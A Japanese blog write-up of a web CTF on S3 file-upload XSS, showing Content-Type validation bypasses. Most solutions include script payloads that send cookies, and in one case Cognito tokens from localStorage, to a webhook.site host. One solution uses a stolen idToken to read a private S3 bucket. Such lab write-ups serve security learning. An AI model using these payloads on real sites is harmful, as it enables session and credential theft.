よーでんのブログ

One for All,All for わんわんお!

XSSS / XS3 Challenges Writeups

1. Introduction

Server Side Upload (easy: 20 pt / solves)

Are you familiar with the Feature to upload files to object storage via a server?

Server Side Upload - TOP

ファイルのアップロード機能と、URL を報告する機能のみがある。

Web Application と Crawler のソースコードが配布されている。
Crawler に関しては「※ If no announcement is made, all "Crawler" source codes are the same.」とあるので、ほぼすべての問題で共通。

まずは Crawler のソースを見ると、Cookie に flag をセットしてユーザ入力のURLにアクセスするらしいことがわかる。

  // DOMAIN is Challenge Page Domain
  page.setCookie({
    name: "flag",
    value: process.env.FLAG || "flag{dummy}",
    domain: process.env.DOMAIN || "example.com",
  });

ではアプリケーション側のソースを見ると、アップロードしたファイルを s3 に格納している。

server.post('/api/upload', async (request, reply) => {
  const data = await request.file({
    limits: {
      fileSize: 1024 * 1024 * 100,
      files: 1,
    },
  });
  if (!data) {
    return reply.code(400).send({ error: 'No file uploaded' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    Body: data.file,
    ContentLength: data.file.bytesRead,
    ContentType: data.mimetype,
  });

  await s3.send(command);
  reply.send(`/upload/${filename}`);
  return reply;
});

アップロードされたファイルは /upload/<uuid> のようなパスでアクセスできるので、試しにHTMLファイルをアップロード、アクセスしてみたらXSSできた。

<html><script>alert(1)</script></html>

Server Side Upload - alert

flag は botCookie にあるので、それを盗むような JS をアップロードして URL を報告することで flag が手に入る。

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{bfe061955a7cf19b12ff0f224e88d65a470e800a}

Pre Signed Upload (easy: 20 pt / solves)

Can you spot the flaws in the "Pre Signed URL"? 

注目すべき差分はファイルアップロード部分のみ。

  const allow = ['image/png', 'image/jpeg', 'image/gif'];
  if (!allow.includes(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    ContentLength: request.body.length,
    ContentType: request.body.contentType,
  });

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
  });
  return reply.header('content-type', 'application/json').send({
    url,
    filename,
  });

Content-Type が画像であるかをチェックして、署名付きURLでアップロードをするようになった。

だが、 getSignedUrl の引数に signableHeaders が含まれていない。
署名付きURLを入手してから、ファイルアップロード時にヘッダ情報を書き換えることが可能だ。

ファイルアップロードの実行時に発生する一番最初のリクエストを "contentType":"image/png" に書き換え、

POST /api/upload HTTP/2
(snip)

{"contentType":"image/png","length":123}

ファイルの本体をアップロードするリクエストは text/html のままとする。

PUT /upload/85415194-19f4-42a8-a5f7-37f4dc67f126?X-Amz-Algorithm=...
Content-Type: text/html
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

これで text/html のままファイルがアップロードできるので、XSSが成功する。

flag{fc6f76dd4368e888c1bc878b7750b374c891639f}

POST Policy (Post Policy, easy: 20 pt / solves)

In addition to Pre Signed URLs, there are other ways to upload directly from the client.

さっきとはちょっと違った方法でアップロードしている。

  const filename = uuidv4();
  const s3 = new S3Client({});
  const { url, fields } = await createPresignedPost(s3, {
    Bucket: process.env.BUCKET_NAME!,
    Key: `upload/${filename}`,
    Conditions: [
      ['content-length-range', 0, 1024 * 1024 * 100],
      ['starts-with', '$Content-Type', 'image'],
    ],
    Fields: {
      'Content-Type': request.body.contentType,
    },
    Expires: 600,
  });

とはいえ正直、 ['starts-with', '$Content-Type', 'image'], しか読んでいない。
Content-Typeimage から 始まる 必要があるらしい。

ここで Content-Type: imagetest のように適当な値で送信すると、ブラウザはレスポンスの内容から頑張って Content-Type を推測しようとする。
ということで、「MIMEスニッフィング」と呼ばれる古の攻撃手法が使えそうだ。

一つ目のリクエストを "contentType":"imagetest" とする。
(ちなみにこの問題のみクライアント側で Content-Type の検証がはいるので、書き換えて無効化する)

{"contentType":"imagetest","length":123}

するとファイルアップロード時の Content-Type も imagetest となるので、そのまま送信。

------WebKitFormBoundaryC8OUBLbtyS7nONno
Content-Disposition: form-data; name="Content-Type"

imagetest
------WebKitFormBoundaryC8OUBLbtyS7nONno
(snip)
------WebKitFormBoundaryC8OUBLbtyS7nONno
Content-Disposition: form-data; name="file"; filename="stealcookie.html"
Content-Type: text/html

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>
------WebKitFormBoundaryC8OUBLbtyS7nONno--

アップロードされたファイルに直接アクセスしてみると Content-Type: imagetest となっているが、これを Chrome で読み込むと HTML として解釈され、XSSが成功する。

HTTP/2 200 OK
Content-Type: imagetest
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{c137e5b9b7afd4b13a15839a26153940beeefc7d}

2. Validation Bypass

Is the end safe? (easy: 50 pt / solves)

Is Content-Type secure if the end matches?

  const contentTypeValidator = (contentType: string) => {
    if (contentType.endsWith('image/png')) return true;
    if (contentType.endsWith('image/jpeg')) return true;
    if (contentType.endsWith('image/jpg')) return true;
    return false;
  };

(snip)

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
    signableHeaders: new Set(['content-type', 'content-length']),
  });

Content-Type が image/png, image/jpeg, image/jpg のどれかで 終わる 必要がある。

そして、getSignedUrlcontent-type が渡されるようになった。
これで「Pre Signed Upload」で使った手法はもう使えず、POST /api/upload に送る contentTypePUT /upload/... に送る Content-Type が一致してないとアップロードできなくなる。

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
    signableHeaders: new Set(['content-type', 'content-length']),
  });

それでも testimage/png とかにして「POST Policy」 の問題でやったMIMEスニッフィングで行けそうに見えるが、そうするとファイルとしてダウンロードされてしまう。/ が含まれているとスニッフィングの挙動が大きく変わるようだ。

本来の MIME タイプは「タイプ/サブタイプ;引数=値」の形式となっているので、「値」のところに image/png を含めれば行けそうだと考える。

{"contentType":"text/html;test=image/png","length":123}
PUT /upload/1194c7e3-e0f1-412d-82c7-74e62a23c337?X-Amz-Algorithm=...
Content-Type: text/html;test=image/png
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{97ce55c30c8dc3a34cd73bbf3f49c2bb15a89617}

Just included? (easy: 50 pt / solves)

include

validation が変化した。
; が含まれるか、 'image/(jpg|jpeg|png|gif)$'正規表現に沿わないとアウトらしい。

  if (request.body.contentType.includes(';')) {
    return reply.code(400).send({ error: 'No file type (only type/subtype)' });
  }

  const allow = new RegExp('image/(jpg|jpeg|png|gif)$');
  if (!allow.test(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

とりあえず正規表現$ が含まれていることから、また末尾に含める必要があるのは確定。
; に関しては、「こういう書き方してくるってことはそろそろフォーマットから外れた値を入れるタイミングかな」と考えてガチャガチャやっていたら text/html image/png で行けた。

{"contentType":"text/html image/png","length":123}
PUT /upload/b5cbf5e6-c8aa-495f-8672-0ec7bf8ba7c9?X-Amz-Algorithm=...
Content-Type: text/html image/png
(snip)

<html><script>fetch("https://webhook.site/<uuild>?cookie=" + document.cookie);</script></html>

flag{acc9b4786f6bf003a75f32b5607c92530dcf6b9f}

forward priority... (easy: 50 pt / solves)

Is it really a good idea if the preffix match?

startsWith, endsWith で見てくるようになった。

  const allowContentTypes = ['image/png', 'image/jpeg', 'image/jpg'];

  const isAllowContentType = allowContentTypes.filter((contentType) => request.body.contentType.startsWith(contentType) && request.body.contentType.endsWith(contentType));
  if (isAllowContentType.length === 0) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

問題名にも「priority」とあるのがヒントなのだろうが、MIME タイプに q の引数を渡すと 0 ~ 1 で優先順位がつけれる。
startsWithimage/png;q=0,text/html;q=1 で満たせるし、endsWith は「Is the end safe?」でやった引数に渡す方法で満たす。

{"contentType":"image/png;q=0,text/html;q=1;test=image/png","length":123}
PUT /upload/2be6f452-d3cf-41f8-8b90-b9f2d7b0d2cc?X-Amz-Algorithm=...
Content-Type: image/png;q=0,text/html;q=1;test=image/png
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{f9eedd5f8b508ff8b03b803affb00d381826047b}

3. Logic Bug

Content extension (medium: 100 pt / solves)

問題文無し

アップロード時の Content-Type の処理がちょっと複雑になった。

  const denyStringRegex = /[\s\;()]/;

  if (denyStringRegex.test(request.body.extention)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

  const allowExtention = ['png', 'jpeg', 'jpg', 'gif'];

  const isAllowExtention = allowExtention.filter((ext) => request.body.extention.includes(ext)).length > 0;
  if (!isAllowExtention) {
    return reply.code(400).send({ error: 'Invalid file extention' });
  }

  const contentType = `image/${request.body.extention}`;
  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    ContentLength: request.body.length,
    ContentType: contentType,
  });

[\s\;()] に当てはまるとアウト
ファイルの拡張子が 'png', 'jpeg', 'jpg', 'gif' のどれかである必要がある

validation を抜けたら、拡張子を使って image/${request.body.extention} という風に Content-Type を組み立ててアップロードする。

とりあえずvalidationを抜ける書き方を前提に考えていく。「スペースで区切ったときは先に書いた方が採用されたが、, とかどうだろう」と考えてやってみたら行けた。

{"extention":"png,text/html","length":123}
PUT /upload/7e11803c-ca80-4bd0-b9aa-da7ce088543b?X-Amz-Algorithm=...
Content-Type: image/png,text/html

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{b1b3fcx5f8b508ff8b03b803affb00d381826047b}

4. Advanced

frame (medium?: 200 pt / solves)

問題文無し

  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    ContentLength: request.body.length,
    ContentType: request.body.contentType,
    ContentDisposition: 'attachment',
  });

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
    signableHeaders: new Set(['content-type', 'content-disposition']),
  });

Content-Type のバリデーション無し。
なんでもアップロードできるが、getSignedUrl によって ContentDisposition: attachment が強制されている。

この状態でアップロードし /upload/<uuid> にアクセスするとファイルとしてダウンロードされてしまうのでXSSができない。

その代わり、アップロードしたファイルを iframe で読み込む /viewer というページが増えた。

      const denyMimeSubTypes = ['html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl'];

      const extractMimeType = (contentTypeAndParams) => {
        const [contentType, ...params] = contentTypeAndParams.split(';');
        console.log(`Extracting content type: ${contentType}`);
        console.log(`Extracting params: ${JSON.stringify(params)}`);
        const [type, subtype] = contentType.split('/');
        console.log(`Extracting type: ${type}`);
        console.log(`Extracting subtype: ${subtype}`);
        return { type, subtype, params };
      };

      const isDenyMimeSubType = (contentType) => {
        console.log(`Checking content type: ${contentType}`);
        const { subtype } = extractMimeType(contentType);
        return denyMimeSubTypes.includes(subtype.trim().toLowerCase());
      };

      window.onload = async () => {
        const url = new URL(window.location.href);
        const path = url.pathname.slice(1).split('/');
        path.shift();
        const key = path.join('/');
        console.log(`Loading file: /${key}`);

        const response = await fetch(`/${key}`);

(snip)

        const contentType = response.headers.get('content-type');
        if (isDenyMimeSubType(contentType)) {
          console.error(`Failed to load file: /${key}`);
          document.body.innerHTML = '<h1>Failed to load file due to invalid content type</h1>';
          return;
        }
        const blobUrl = URL.createObjectURL(await response.blob());
        document.body.innerHTML = `<iframe src="${blobUrl}" style="width: 100%; height: 100%"></iframe>`;

ということで、アップロードしたファイルを /viewer/upload/<uuid> として開けるようになった。

しかし開く際に Content-Type の制限があり、extractMimeType でパースした subtype が 'html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl' のどれかだったらアウト。
これは / で分割しているだけでパースがだいぶ余いので、text/html a とかにすれば行ける。

{"contentType":"text/html a","length":130}
PUT /upload/276f6fb2-58cb-4a8c-b244-2b37313cdc5e?X-Amz-Algorithm=...
Content-Type: text/html a
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + parent.document.cookie);</script></html>

フレーム内のXSSなので、parent が必要 (ここでめちゃめちゃ詰まっていて反省)

flag{d41d8cd98f00b204e9800998ecf8427e}

sniff? (medium?: 150 pt / solves)

問題文無し

  const denyStrings = new RegExp('[;,="\'()]');

  if (denyStrings.test(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid content type' });
  }

  if (!request.body.contentType.startsWith('image') || !['jpeg', 'jpg', 'png', 'gif'].includes(request.body.contentType.split('/')[1])) {
    return reply.code(400).send({ error: 'Invalid image type' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    ContentType: `${request.body.contentType.split('/')[0]}/${request.body.contentType.split('/')[1]}`,
  });

[;,="\'()] の条件に当てはまるとアウト
image から始まる必要がある
/ 以降が 'jpeg', 'jpg', 'png', 'gif' のどれかである必要がある

とりあえずこの条件を抜けれる文字列を作りながらスペースで区切ってみたらそのままXSSできてしまった。

{"contentType":"imagetest test/png","length":123}
PUT /upload/b69ff56e-2018-4e56-84ac-cbc88ad4580e?X-Amz-Algorithm=...
Content-Type: imagetest test/png

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{c4ca4238a0b923820dcc509a6f75849b}

GEToken (medium: 150 pt / solves)

問題文無し。この問題だけCrawlerが違う。
というのも、 cognito で認証を行った後に localstorage に格納している。

  const client = new CognitoIdentityProviderClient({ region: process.env.REGION, credentials: undefined });
  const command = new InitiateAuthCommand({
    AuthFlow: 'USER_PASSWORD_AUTH',
    ClientId: process.env.COGNITO_USER_POOL_CLIENT_ID || '',
    AuthParameters: {
      USERNAME: process.env.ADMIN_USERNAME || '',
      PASSWORD: process.env.ADMIN_PASSWORD || '',
    },
  });

(snip)

  await page.evaluate(
    (IdToken: string, AccessToken: string, RefreshToken: string) => {
      const randomNumber = Math.floor(Math.random() * 1000000);
      localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.idToken`, IdToken);
      localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.accessToken`, AccessToken);
      localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.refreshToken`, RefreshToken);
    },
    IdToken,
    AccessToken,
    RefreshToken,
  );

どっちにしろ XSS ができれば盗めるので、そのまま進める。

  const [contentType, ...params] = request.body.contentType.split(';');
  const type = contentType.split('/')[0].toLowerCase();
  const subtype = contentType.split('/')[1].toLowerCase();

  const denyMimeSubTypes = ['html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl'];
  if (denyMimeSubTypes.includes(subtype)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }
  const denyStrings = new RegExp('[;,="\'()]');
  if (denyStrings.test(type) || denyStrings.test(subtype)) {
    return reply.code(400).send({ error: 'Invalid Type or SubType' });
  }

[;,="\'()] の条件に当てはまるとアウト
subtype が 'html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl' だとアウト

これは test a/b とかでどうにでも回避できるが、 /upload/<uuid> でアクセスすると、ファイルとしてダウンロードされてしまう。

改めてファイルアップロードのリクエストを見ると、Content-Disposition: attachment がヘッダについている。
署名の生成を見ると Content-Disposition ヘッダは含まれていないので、消せばOK。

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
    signableHeaders: new Set(['content-type']),
  });
{"contentType":"test a/b","length":359}

( 消したことがわかりにくいので、ヘッダの名前を変えて消した判定にしている )

PUT /upload/ce788149-53ea-48cb-b853-934904d5ca51?X-Amz-Algorithm=...
Content-Type: test a/b
X-Content-Disposition: attachment

<html><script>
fetch("https://webhook.site/<uuuid>?works");
for (key in localStorage) {
    if (localStorage.hasOwnProperty(key)) {
        fetch("https://webhook.site/<uuid>?key=" + encodeURIComponent(key) + "&value=" + encodeURIComponent(localStorage.getItem(key)));
    }
}
</script></html>

するとIdToken, AccessToken, RefreshToken が手に入るので、idToken をデコードすると flag が見つかる。

flag{c81e728d9d4c2f636f067f89cc14862c}

5. Special

I am ... (medium: 100 pt / solves)

Can you see Flag's Bucket lying deep within GEToken? I am ... Cognito ... ?

ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d

「GEToken」で急に token 類を盗む問題になった理由がわかった。
idToken が手に入ったので、それを使って S3 の中身を取って来いという問題だ。 *1

これは前提知識が無さ過ぎてひたすらドキュメントを漁って解いたので、writeupに書ける情報が特に何もない。
強いて言うならサンプルコードまで載せてくれているドキュメントこそがwriteupか。

docs.aws.amazon.com

docs.aws.amazon.com

最終的なソースコードは以下。

import {
  S3Client,
  ListBucketsCommand,
  ListObjectsV2Command,
  GetObjectCommand
} from "@aws-sdk/client-s3";
import {fromCognitoIdentityPool} from "@aws-sdk/credential-providers";

const REGION = 'ap-northeast-1';

let COGNITO_ID = "cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9";
let loginData = {
  [COGNITO_ID]: "<idToken>",
};

const s3Client = new S3Client({
  region: REGION,
  credentials: fromCognitoIdentityPool({
    clientConfig: { region: REGION },
    identityPoolId: 'ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d',
    logins: loginData,
  })
});

// const command = new ListBucketsCommand({});
// const { Buckets } = await s3Client.send(command);
// console.log(Buckets); // -> specialflagbucket-5250c0a74f-adv3-special-flag

// const command = new ListObjectsV2Command({
//   Bucket: "specialflagbucket-5250c0a74f-adv3-special-flag"
// });
// const { Contents } = await s3Client.send(command);
// console.log(Contents) // -> flag.txt

const command = new GetObjectCommand({
  Bucket: "specialflagbucket-5250c0a74f-adv3-special-flag",
  Key: "flag.txt",
});
const res = await s3Client.send(command);
console.log(await res.Body.transformToString())

flag{eccbc87e4b5ce2fe28308fd9f2a7baf3}

*1:AWS知らな過ぎて : が s3 だとわかるまでも遠かったが